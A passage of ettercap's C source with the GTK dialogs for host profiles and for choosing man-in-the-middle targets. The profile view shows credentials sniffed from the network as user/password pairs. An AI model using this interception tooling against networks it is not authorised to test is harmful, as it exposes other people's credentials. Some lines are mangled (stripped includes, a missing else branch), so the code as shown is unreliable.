gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); } #ifdef HAVE_GEOIP if (EC_GBL_CONF->geoip_support_enable) { row++; label = gtk_label_new("Location:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(geoip_country_by_ip(&h->L3_addr)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); } #endif if (h->type & FP_HOST_LOCAL || h->type == FP_UNKNOWN) { row++; label = gtk_label_new("MAC address:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(mac_addr_ntoa(h->L2_addr, tmp)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); row++; label = gtk_label_new("Manufacturer:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(manuf_search(h->L2_addr)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); } /* Connectivity information */ gtk_table_set_row_spacing(GTK_TABLE(table), row, 10); row++; label = gtk_label_new("Connectivity Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); g_free(markup); row++; label = gtk_label_new("Distance:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new((str = g_strdup_printf("%d", h->distance))); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); g_free(str); row++; label = gtk_label_new("Type:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); if (h->type & FP_GATEWAY) label = gtk_label_new("GATEWAY"); else if (h->type & FP_HOST_LOCAL) label = gtk_label_new("LAN host"); else if (h->type & FP_ROUTER) label = gtk_label_new("REMOTE ROUTER"); else if (h->type & FP_HOST_NONLOCAL) label = gtk_label_new("REMOTE host"); else if (h->type == FP_UNKNOWN) label = gtk_label_new("unknown"); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); /* OS and service information */ gtk_table_set_row_spacing(GTK_TABLE(table), row, 10); row++; label = gtk_label_new("OS and Service Information:"); markup = g_markup_printf_escaped("%s", gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); g_free(markup); if (h->os) { row++; label = gtk_label_new("Observed OS:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(h->os); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); } row++; label = gtk_label_new("Fingerprint:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(h->fingerprint); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); row++; label = gtk_label_new("Operating System:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); if (fingerprint_search(h->fingerprint, os) == E_SUCCESS) { label = gtk_label_new(os); str = g_strdup_printf("unknown fingerprint (please submit it)\nNeares one is: %s", os); label = gtk_label_new(str); g_free(str); } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); LIST_FOREACH(o, &(h->open_ports_head), next) { row++; label = gtk_label_new("Fingerprint:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); str = g_strdup_printf("%s %d", (o->L4_proto == NL_TYPE_TCP) ? "TCP" : "UDP", ntohs(o->L4_addr)); label = gtk_label_new(str); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+2, row, row+1); g_free(str); str = g_strdup_printf("%s [%s]", service_search(o->L4_addr, o->L4_proto), (o->banner) ? o->banner : ""); label = gtk_label_new(str); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+2, col+3, row, row+1); g_free(str); LIST_FOREACH(u, &(o->users_list_head), next) { row++; if (u->failed) label = gtk_label_new("Account: *"); else label = gtk_label_new("Account:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); str = g_strdup_printf("%s / %s (%s)", u->user, u->pass, ip_addr_ntoa(&u->client, tmp)); label = gtk_label_new(str); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); g_free(str); if (u->info) { row++; label = gtk_label_new("Info:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(u->info); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); } } } /* resize table to the actual size */ gtk_table_resize(GTK_TABLE(table), row, ncols); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button = gtk_button_new_from_stock(GTK_STOCK_CLOSE); g_signal_connect_swapped(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_profile_detail_destroy), dwindow); gtk_box_pack_end(GTK_BOX(hbox), button, FALSE, FALSE, 0); gtk_widget_grab_focus(button); gtk_widget_show_all(dwindow); } static void gtkui_profile_detail_destroy(GtkWidget *widget, gpointer *data) { (void)data; if (detail_timer) g_source_remove(detail_timer); gtk_widget_destroy(widget); } static void gtkui_profiles_local(void) { profile_purge_local(); gtk_list_store_clear(GTK_LIST_STORE (ls_profiles)); } static void gtkui_profiles_remote(void) { profile_purge_remote(); gtk_list_store_clear(GTK_LIST_STORE (ls_profiles)); } static void gtkui_profiles_convert(void) { profile_convert_to_hostlist(); gtkui_refresh_host_list(NULL); gtkui_message("The hosts list was populated with local profiles"); } static void gtkui_profiles_dump(void *dummy) { /* variable not used */ (void) dummy; DEBUG_MSG("gtkui_profiles_dump"); /* make sure to free if already set */ SAFE_FREE(logfile); SAFE_CALLOC(logfile, 50, sizeof(char)); gtkui_input("Log File :", logfile, 50, dump_profiles); } static void dump_profiles(void) { /* dump the profiles */ if (profile_dump_to_file(logfile) == E_SUCCESS) gtkui_message("Profiles dumped to file"); } static struct host_profile *gtkui_profile_selected(void) { GtkTreeIter iter; GtkTreeModel *model; struct host_profile *h = NULL; model = GTK_TREE_MODEL (ls_profiles); if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { gtk_tree_model_get (model, &iter, 4, &h, -1); } else return(NULL); /* nothing is selected */ return(h); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_targets.c0000644000175000017500000005404213505247364022031 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* proto */ static void set_targets(void); static void gtkui_add_target1(void *); static void gtkui_add_target2(void *); static void add_target1(void); static void add_target2(void); static void gtkui_delete_targets(GtkWidget *widget, gpointer data); static void gtkui_targets_destroy(void); static void gtkui_targets_detach(GtkWidget *child); static void gtkui_targets_attach(void); /* globals */ static char thost[MAX_ASCII_ADDR_LEN]; GtkWidget *targets_window = NULL; GtkTreeSelection *selection1 = NULL; GtkTreeSelection *selection2 = NULL; GtkListStore *liststore1 = NULL; GtkListStore *liststore2 = NULL; /*******************************************/ void toggle_reverse(void) { if (EC_GBL_OPTIONS->reversed) { EC_GBL_OPTIONS->reversed = 0; } else { EC_GBL_OPTIONS->reversed = 1; } } /* * wipe the targets struct setting both T1 and T2 to ANY/ANY/ANY */ void wipe_targets(void) { DEBUG_MSG("wipe_targets"); reset_display_filter(EC_GBL_TARGET1); reset_display_filter(EC_GBL_TARGET2); /* update the GTK liststores */ gtkui_create_targets_array(); /* display the message */ gtkui_message("TARGETS were reset to ANY/ANY/ANY"); } /* * display the protocol dialog */ void gtkui_select_protocol(void) { GtkWidget *dialog, *content, *radio, *hbox, *frame; GSList *list = NULL; gint active = 1; enum {proto_udp, proto_tcp, proto_all}; DEBUG_MSG("gtk_select_protocol"); /* this will contain 'all', 'tcp' or 'udp' */ if (!EC_GBL_OPTIONS->proto) { SAFE_CALLOC(EC_GBL_OPTIONS->proto, 4, sizeof(char)); strncpy(EC_GBL_OPTIONS->proto, "all", 3); } /* create dialog for selecting the protocol */ dialog = gtk_dialog_new_with_buttons("Set protocol", GTK_WINDOW(window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); frame = gtk_frame_new("Select the protocol"); gtk_container_add(GTK_CONTAINER(content), frame); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 10, FALSE); gtk_container_add(GTK_CONTAINER(frame), hbox); radio = gtk_radio_button_new_with_mnemonic(NULL, "a_ll"); gtk_box_pack_start(GTK_BOX(hbox), radio, TRUE, TRUE, 2); if (!strncasecmp(EC_GBL_OPTIONS->proto, "all", 4)) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(radio), TRUE); radio = gtk_radio_button_new_with_mnemonic_from_widget(GTK_RADIO_BUTTON(radio), "_tcp"); gtk_box_pack_start(GTK_BOX(hbox), radio, TRUE, TRUE, 2); if (!strncasecmp(EC_GBL_OPTIONS->proto, "tcp", 4)) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(radio), TRUE); radio = gtk_radio_button_new_with_mnemonic_from_widget(GTK_RADIO_BUTTON(radio), "_udp"); gtk_box_pack_start(GTK_BOX(hbox), radio, TRUE, TRUE, 2); if (!strncasecmp(EC_GBL_OPTIONS->proto, "udp", 4)) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(radio), TRUE); gtk_widget_grab_focus(gtk_dialog_get_widget_for_response(GTK_DIALOG(dialog), GTK_RESPONSE_OK)); gtk_widget_show_all(dialog); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { list = gtk_radio_button_get_group(GTK_RADIO_BUTTON(radio)); for(active = 0; list != NULL; list = list->next) { if (gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(list->data))) { switch (active) { case proto_all: strncpy(EC_GBL_OPTIONS->proto, "all", 4); break; case proto_tcp: strncpy(EC_GBL_OPTIONS->proto, "tcp", 4); break; case proto_udp: strncpy(EC_GBL_OPTIONS->proto, "udp", 4); break; } } active++; } } gtk_widget_destroy(dialog); } /* * display the TARGET(s) dialog */ void gtkui_select_targets(void) { GtkWidget *dialog, *label, *table, *content; GtkWidget *frame1, *frame2; GtkWidget *t1_mac, *t1_ip, *t1_port, *t2_mac, *t2_ip, *t2_port; gint ncols = 2, nrows = 3; #ifdef WITH_IPV6 GtkWidget *t1_ipv6, *t2_ipv6; nrows = 4; #endif #define TARGET_LEN ETH_ASCII_ADDR_LEN + 1 + \ IP_ASCII_ADDR_LEN + 1 + \ IP6_ASCII_ADDR_LEN + 1 + \ 5 + 1 DEBUG_MSG("gtk_select_targets"); dialog = gtk_dialog_new_with_buttons("Enter Targets", GTK_WINDOW(window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_set_border_width(GTK_CONTAINER(content), 20); frame1 = gtk_frame_new("Target 1"); gtk_container_add(GTK_CONTAINER(content), frame1); frame2 = gtk_frame_new("Target 2"); gtk_container_add(GTK_CONTAINER(content), frame2); table = gtk_table_new(nrows, ncols, FALSE); gtk_table_set_row_spacings(GTK_TABLE (table), 5); gtk_table_set_col_spacings(GTK_TABLE (table), 5); gtk_container_set_border_width(GTK_CONTAINER (table), 8); gtk_container_add(GTK_CONTAINER (frame1), table); label = gtk_label_new("MAC:"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE (table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); t1_mac = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t1_mac), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t1_mac), MAX_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE(table), t1_mac, 1, 2, 0, 1); label = gtk_label_new("IP address:"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, 0, 1, 1, 2, GTK_FILL, GTK_FILL, 0, 0); t1_ip = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t1_ip), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t1_ip), MAX_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE(table), t1_ip, 1, 2, 1, 2); #ifdef WITH_IPV6 label = gtk_label_new("IPv6 address:"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, 0, 1, 2, 3, GTK_FILL, GTK_FILL, 0, 0); t1_ipv6 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t1_ipv6), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t1_ipv6), MAX_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE(table), t1_ipv6, 1, 2, 2, 3); #endif label = gtk_label_new("Port:"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, 0, 1, nrows-1, nrows, GTK_FILL, GTK_FILL, 0, 0); t1_port = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t1_port), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t1_port), MAX_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE(table), t1_port, 1, 2, nrows-1, nrows); /* Fill previously set values */ if (EC_GBL_OPTIONS->target1) { gchar **tokens, **p; tokens = g_strsplit(EC_GBL_OPTIONS->target1, "/", nrows); p = tokens; /* MAC */ gtk_entry_set_text(GTK_ENTRY(t1_mac), *p++); /* IP address */ gtk_entry_set_text(GTK_ENTRY(t1_ip), *p++); #ifdef WITH_IPV6 /* IPv6 address */ gtk_entry_set_text(GTK_ENTRY(t1_ipv6), *p++); #endif /* Port */ gtk_entry_set_text(GTK_ENTRY(t1_port), *p); g_strfreev(tokens); } /* Target 2: */ table = gtk_table_new(nrows, ncols, FALSE); gtk_table_set_row_spacings(GTK_TABLE (table), 5); gtk_table_set_col_spacings(GTK_TABLE (table), 5); gtk_container_set_border_width(GTK_CONTAINER (table), 8); gtk_container_add(GTK_CONTAINER (frame2), table); label = gtk_label_new("MAC:"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE (table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); t2_mac = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t2_mac), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t2_mac), MAX_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE(table), t2_mac, 1, 2, 0, 1); label = gtk_label_new("IP address:"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, 0, 1, 1, 2, GTK_FILL, GTK_FILL, 0, 0); t2_ip = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t2_ip), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t2_ip), MAX_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE(table), t2_ip, 1, 2, 1, 2); #ifdef WITH_IPV6 label = gtk_label_new("IPv6 address:"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, 0, 1, 2, 3, GTK_FILL, GTK_FILL, 0, 0); t2_ipv6 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t2_ipv6), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t2_ipv6), MAX_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE(table), t2_ipv6, 1, 2, 2, 3); #endif label = gtk_label_new("Port:"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE(table), label, 0, 1, nrows-1, nrows, GTK_FILL, GTK_FILL, 0, 0); t2_port = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY(t2_port), MAX_ASCII_ADDR_LEN); gtk_entry_set_width_chars(GTK_ENTRY(t2_port), MAX_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE(table), t2_port, 1, 2, nrows-1, nrows); /* Fill previously set values */ if (EC_GBL_OPTIONS->target2) { gchar **tokens, **p; tokens = g_strsplit(EC_GBL_OPTIONS->target2, "/", nrows); p = tokens; /* MAC */ gtk_entry_set_text(GTK_ENTRY(t2_mac), *p++); /* IP address */ gtk_entry_set_text(GTK_ENTRY(t2_ip), *p++); #ifdef WITH_IPV6 /* IPv6 address */ gtk_entry_set_text(GTK_ENTRY(t2_ipv6), *p++); #endif /* Port */ gtk_entry_set_text(GTK_ENTRY(t2_port), *p); g_strfreev(tokens); } gtk_widget_show_all(dialog); if (gtk_dialog_run (GTK_DIALOG (dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); SAFE_FREE(EC_GBL_OPTIONS->target1); SAFE_FREE(EC_GBL_OPTIONS->target2); SAFE_CALLOC(EC_GBL_OPTIONS->target1, TARGET_LEN, sizeof(char)); SAFE_CALLOC(EC_GBL_OPTIONS->target2, TARGET_LEN, sizeof(char)); #ifdef WITH_IPV6 snprintf(EC_GBL_OPTIONS->target1, TARGET_LEN, "%s/%s/%s/%s", gtk_entry_get_text(GTK_ENTRY(t1_mac)), gtk_entry_get_text(GTK_ENTRY(t1_ip)), gtk_entry_get_text(GTK_ENTRY(t1_ipv6)), gtk_entry_get_text(GTK_ENTRY(t1_port))); snprintf(EC_GBL_OPTIONS->target2, TARGET_LEN, "%s/%s/%s/%s", gtk_entry_get_text(GTK_ENTRY(t2_mac)), gtk_entry_get_text(GTK_ENTRY(t2_ip)), gtk_entry_get_text(GTK_ENTRY(t2_ipv6)), gtk_entry_get_text(GTK_ENTRY(t2_port))); #else snprintf(EC_GBL_OPTIONS->target1, TARGET_LEN, "%s/%s/%s", gtk_entry_get_text(GTK_ENTRY(t1_mac)), gtk_entry_get_text(GTK_ENTRY(t1_ip)), gtk_entry_get_text(GTK_ENTRY(t1_port))); snprintf(EC_GBL_OPTIONS->target2, TARGET_LEN, "%s/%s/%s", gtk_entry_get_text(GTK_ENTRY(t2_mac)), gtk_entry_get_text(GTK_ENTRY(t2_ip)), gtk_entry_get_text(GTK_ENTRY(t2_port))); #endif set_targets(); } gtk_widget_destroy(dialog); } /* * set the targets */ static void set_targets(void) { /* delete the previous filters */ reset_display_filter(EC_GBL_TARGET1); reset_display_filter(EC_GBL_TARGET2); /* free empty filters */ if (!strcmp(EC_GBL_OPTIONS->target1, "")) SAFE_FREE(EC_GBL_OPTIONS->target1); /* free empty filters */ if (!strcmp(EC_GBL_OPTIONS->target2, "")) SAFE_FREE(EC_GBL_OPTIONS->target2); /* compile the filters */ compile_display_filter(); /* if the 'current targets' window is displayed, refresh it */ if (targets_window) gtkui_current_targets(); } /* * display the list of current targets */ void gtkui_current_targets(void) { GtkWidget *scrolled, *treeview, *vbox, *hbox, *button; GtkCellRenderer *renderer; GtkTreeViewColumn *column; static gint delete_targets1 = 1; static gint delete_targets2 = 2; DEBUG_MSG("gtk_current_targets"); /* prepare the liststores for the target lists */ gtkui_create_targets_array(); if(targets_window) { if(GTK_IS_WINDOW (targets_window)) gtk_window_present(GTK_WINDOW (targets_window)); else gtkui_page_present(targets_window); return; } targets_window = gtkui_page_new("Targets", >kui_targets_destroy, >kui_targets_detach); vbox= gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_container_add(GTK_CONTAINER (targets_window), vbox); gtk_widget_show(vbox); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); gtk_box_pack_start(GTK_BOX(vbox), hbox, TRUE, TRUE, 0); gtk_widget_show(hbox); /* list one */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(hbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (liststore1)); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection1 = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection1, GTK_SELECTION_MULTIPLE); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Target 1", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); /* list two */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(hbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (liststore2)); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection2 = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection2, GTK_SELECTION_MULTIPLE); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Target 2", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); /* buttons */ hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button = gtk_button_new_with_mnemonic("Delete"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_delete_targets), &delete_targets1); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("Add"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_add_target1), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("Delete"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_delete_targets), &delete_targets2); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); button = gtk_button_new_with_mnemonic("Add"); g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_add_target2), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show_all(hbox); gtk_widget_show(targets_window); } static void gtkui_targets_detach(GtkWidget *child) { targets_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (targets_window), "Current Targets"); gtk_window_set_default_size(GTK_WINDOW (targets_window), 400, 300); g_signal_connect (G_OBJECT (targets_window), "delete_event", G_CALLBACK (gtkui_targets_destroy), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(targets_window, gtkui_targets_attach); gtk_container_add(GTK_CONTAINER (targets_window), child); gtk_window_present(GTK_WINDOW (targets_window)); } static void gtkui_targets_attach(void) { gtkui_targets_destroy(); gtkui_current_targets(); } static void gtkui_targets_destroy(void) { gtk_widget_destroy(targets_window); targets_window = NULL; } /* * create the array for the widget. * erase any previously alloc'd array */ void gtkui_create_targets_array(void) { GtkTreeIter iter; struct ip_list *il; char tmp[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("gtk_create_targets_array"); if(liststore1) gtk_list_store_clear(GTK_LIST_STORE (liststore1)); else liststore1 = gtk_list_store_new (2, G_TYPE_STRING, G_TYPE_POINTER); /* walk TARGET 1 */ LIST_FOREACH(il, &EC_GBL_TARGET1->ips, next) { /* enlarge the array */ gtk_list_store_append (liststore1, &iter); /* fill the element */ gtk_list_store_set (liststore1, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); } #ifdef WITH_IPV6 /* walk TARGET 1 - IPv6 */ LIST_FOREACH(il, &EC_GBL_TARGET1->ip6, next) { /* enlarge the array */ gtk_list_store_append (liststore1, &iter); /* fill the element */ gtk_list_store_set (liststore1, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); } #endif if(liststore2) gtk_list_store_clear(GTK_LIST_STORE (liststore2)); else liststore2 = gtk_list_store_new (2, G_TYPE_STRING, G_TYPE_POINTER); /* walk TARGET 2 */ LIST_FOREACH(il, &EC_GBL_TARGET2->ips, next) { /* enlarge the array */ gtk_list_store_append (liststore2, &iter); /* fill the element */ gtk_list_store_set (liststore2, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); } #ifdef WITH_IPV6 /* walk TARGET 2 - IPv6 */ LIST_FOREACH(il, &EC_GBL_TARGET2->ip6, next) { /* enlarge the array */ gtk_list_store_append (liststore2, &iter); /* fill the element */ gtk_list_store_set (liststore2, &iter, 0, ip_addr_ntoa(&il->ip, tmp), 1, il, -1); } #endif } /* * display the "add host" dialog */ static void gtkui_add_target1(void *entry) { /* variable not used */ (void) entry; DEBUG_MSG("gtk_add_target1"); gtkui_input("IP address :", thost, MAX_ASCII_ADDR_LEN, add_target1); } static void gtkui_add_target2(void *entry) { /* variable not used */ (void) entry; DEBUG_MSG("gtk_add_target2"); gtkui_input("IP address :", thost, MAX_ASCII_ADDR_LEN, add_target2); } static void add_target1(void) { struct ip_addr host; if (ip_addr_pton(thost, &host) != E_SUCCESS) { /* neither IPv4 nor IPv6 - inform user */ gtkui_message("Invalid ip address"); return; } add_ip_list(&host, EC_GBL_TARGET1); /* refresh the list */ gtkui_create_targets_array(); } static void add_target2(void) { struct ip_addr host; if 